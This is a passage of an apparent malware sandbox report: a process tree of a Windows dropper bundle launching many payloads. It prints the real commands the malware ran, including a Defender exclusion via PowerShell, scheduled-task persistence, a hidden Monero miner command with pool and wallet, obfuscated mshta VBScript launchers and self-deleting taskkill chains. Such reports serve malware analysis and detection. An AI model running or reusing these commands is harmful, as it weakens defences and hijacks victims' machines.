- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:1716
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:516
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1812 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11d7385a978cc.exeTue11d7385a978cc.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1828
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe4⤵
- Loads dropped DLL
PID:1696 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11b9d76a96506.exeTue11b9d76a96506.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:940 -
C:\Users\Admin\AppData\Local\Temp\is-TLG00.tmp\Tue11b9d76a96506.tmp"C:\Users\Admin\AppData\Local\Temp\is-TLG00.tmp\Tue11b9d76a96506.tmp" /SL5="$50136,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11b9d76a96506.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1632 -
C:\Users\Admin\AppData\Local\Temp\is-H5TT4.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-H5TT4.tmp\46807GHF____.exe" /S /UID=burnerch27⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:1740 -
C:\Program Files\Mozilla Firefox\HOXSCHRBQB\ultramediaburner.exe"C:\Program Files\Mozilla Firefox\HOXSCHRBQB\ultramediaburner.exe" /VERYSILENT8⤵
- Executes dropped EXE
PID:2080 -
C:\Users\Admin\AppData\Local\Temp\is-A7CFR.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-A7CFR.tmp\ultramediaburner.tmp" /SL5="$40250,281924,62464,C:\Program Files\Mozilla Firefox\HOXSCHRBQB\ultramediaburner.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:1180 -
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
- Executes dropped EXE
PID:2532
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\f8-ed75a-6f8-375a9-c0f05a3254b93\SHikaevosaeqae.exe"C:\Users\Admin\AppData\Local\Temp\f8-ed75a-6f8-375a9-c0f05a3254b93\SHikaevosaeqae.exe"8⤵
- Executes dropped EXE
PID:2480 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mh1yjz2w.xer\GcleanerEU.exe /eufive & exit9⤵PID:1792
-
C:\Users\Admin\AppData\Local\Temp\mh1yjz2w.xer\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\mh1yjz2w.xer\GcleanerEU.exe /eufive10⤵PID:3056
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\mh1yjz2w.xer\GcleanerEU.exe" & exit11⤵PID:3288
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f12⤵
- Kills process with taskkill
PID:3344
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zg0oxg04.aph\installer.exe /qn CAMPAIGN="654" & exit9⤵PID:2648
-
C:\Users\Admin\AppData\Local\Temp\zg0oxg04.aph\installer.exeC:\Users\Admin\AppData\Local\Temp\zg0oxg04.aph\installer.exe /qn CAMPAIGN="654"10⤵PID:1688
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\zg0oxg04.aph\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\zg0oxg04.aph\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630949795 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵PID:664
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rymyi4c4.w5b\anyname.exe & exit9⤵PID:1980
-
C:\Users\Admin\AppData\Local\Temp\rymyi4c4.w5b\anyname.exeC:\Users\Admin\AppData\Local\Temp\rymyi4c4.w5b\anyname.exe10⤵PID:2272
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0pjux0ln.c4v\gcleaner.exe /mixfive & exit9⤵PID:3032
-
C:\Users\Admin\AppData\Local\Temp\0pjux0ln.c4v\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\0pjux0ln.c4v\gcleaner.exe /mixfive10⤵PID:3080
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\0pjux0ln.c4v\gcleaner.exe" & exit11⤵PID:3456
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f12⤵
- Kills process with taskkill
PID:3496
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oelbyjck.bt0\autosubplayer.exe /S & exit9⤵PID:2592
-
-
-
C:\Users\Admin\AppData\Local\Temp\a3-ede8c-f7d-7cba4-873698c66b67b\Domuhaedexu.exe"C:\Users\Admin\AppData\Local\Temp\a3-ede8c-f7d-7cba4-873698c66b67b\Domuhaedexu.exe"8⤵
- Executes dropped EXE
PID:2984 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1660 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1660 CREDAT:275457 /prefetch:210⤵PID:2248
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1660 CREDAT:865292 /prefetch:210⤵PID:3340
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad9⤵PID:3396
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3396 CREDAT:275457 /prefetch:210⤵PID:2960
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe4⤵
- Loads dropped DLL
PID:328 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11f251db82fb7b.exeTue11f251db82fb7b.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:924 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:548 -
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵PID:2264
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵PID:2040
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
PID:2108
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1524 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵PID:2536
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
PID:2244
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
- Executes dropped EXE
PID:2956
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵PID:1076
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2328 -
C:\Users\Admin\AppData\Roaming\1118032.exe"C:\Users\Admin\AppData\Roaming\1118032.exe"8⤵
- Executes dropped EXE
PID:936
-
-
C:\Users\Admin\AppData\Roaming\3147110.exe"C:\Users\Admin\AppData\Roaming\3147110.exe"8⤵
- Executes dropped EXE
PID:2668
-
-
C:\Users\Admin\AppData\Roaming\7669106.exe"C:\Users\Admin\AppData\Roaming\7669106.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:2588
-
-
C:\Users\Admin\AppData\Roaming\3678372.exe"C:\Users\Admin\AppData\Roaming\3678372.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2100
-
-
C:\Users\Admin\AppData\Roaming\4187161.exe"C:\Users\Admin\AppData\Roaming\4187161.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1684
-
-
-
C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:2372 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 9808⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:516
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:2404 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2404 -s 14008⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2888
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
PID:2464 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit8⤵PID:2300
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "setup.exe" /f9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2188
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
PID:2728 -
C:\Users\Admin\AppData\Local\Temp\is-SQF57.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-SQF57.tmp\setup_2.tmp" /SL5="$10182,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
PID:2856 -
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
PID:3020 -
C:\Users\Admin\AppData\Local\Temp\is-PO2KS.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-PO2KS.tmp\setup_2.tmp" /SL5="$20182,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3064
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
- Executes dropped EXE
PID:2752 -
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
- Executes dropped EXE
PID:2896
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
PID:2788
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2828
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone4⤵
- Loads dropped DLL
PID:976 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue1109eec571ac.exeTue1109eec571ac.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:816 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue1109eec571ac.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue1109eec571ac.exe" & exit6⤵PID:2132
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue1109eec571ac.exe" /f7⤵
- Kills process with taskkill
PID:2188
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe4⤵
- Loads dropped DLL
PID:552 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11bc0507b56295.exeTue11bc0507b56295.exe5⤵
- Executes dropped EXE
PID:1052
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe4⤵
- Loads dropped DLL
PID:1908 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11141271fbe5877f.exeTue11141271fbe5877f.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1080 -
C:\ProgramData\2175276.exe"C:\ProgramData\2175276.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2056 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2056 -s 17167⤵
- Program crash
PID:1048
-
-
-
C:\ProgramData\2745689.exe"C:\ProgramData\2745689.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:2212 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
PID:2920
-
-
-
C:\ProgramData\215081.exe"C:\ProgramData\215081.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2696 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\215081.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\215081.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )7⤵PID:2292
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\215081.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\215081.exe" ) do taskkill /Im "%~NxB" /F8⤵PID:3012
-
C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXEGZ9~4QZ~O.EXe -P6_oIH__Ioj5q9⤵
- Executes dropped EXE
PID:2876 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )10⤵PID:2192
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F11⤵PID:664
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S10⤵PID:1196
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "215081.exe" /F9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2616
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe4⤵
- Loads dropped DLL
PID:612 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11e4e580f2e8141a3.exeTue11e4e580f2e8141a3.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1540 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11e4e580f2e8141a3.exe6⤵
- Executes dropped EXE
PID:2124
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue11e4e580f2e8141a3.exe6⤵PID:852
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue118f55232e4.exe4⤵
- Loads dropped DLL
PID:1656 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue118f55232e4.exeTue118f55232e4.exe5⤵
- Executes dropped EXE
PID:1592
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe4⤵
- Loads dropped DLL
PID:428 -
C:\Users\Admin\AppData\Local\Temp\7zS8A7B7894\Tue112c483dd3245d.exeTue112c483dd3245d.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1976 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1976 -s 9766⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2220
-
-
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2108 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:2120
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵PID:3008
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2908
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1394649800-538215919-187227406712594642855146435671471189403580602664-1428497807"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2264
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵PID:3392
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:3384
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:3520
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7DF3A7DF12DD5E5F1B1747A5898C85F5 C2⤵PID:3620
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5603B2ADC4810052B64EDBC218C717592⤵PID:328
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:3196
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F8850E53DC44D04E94712400A3B018AD M Global\MSI00002⤵PID:3512
-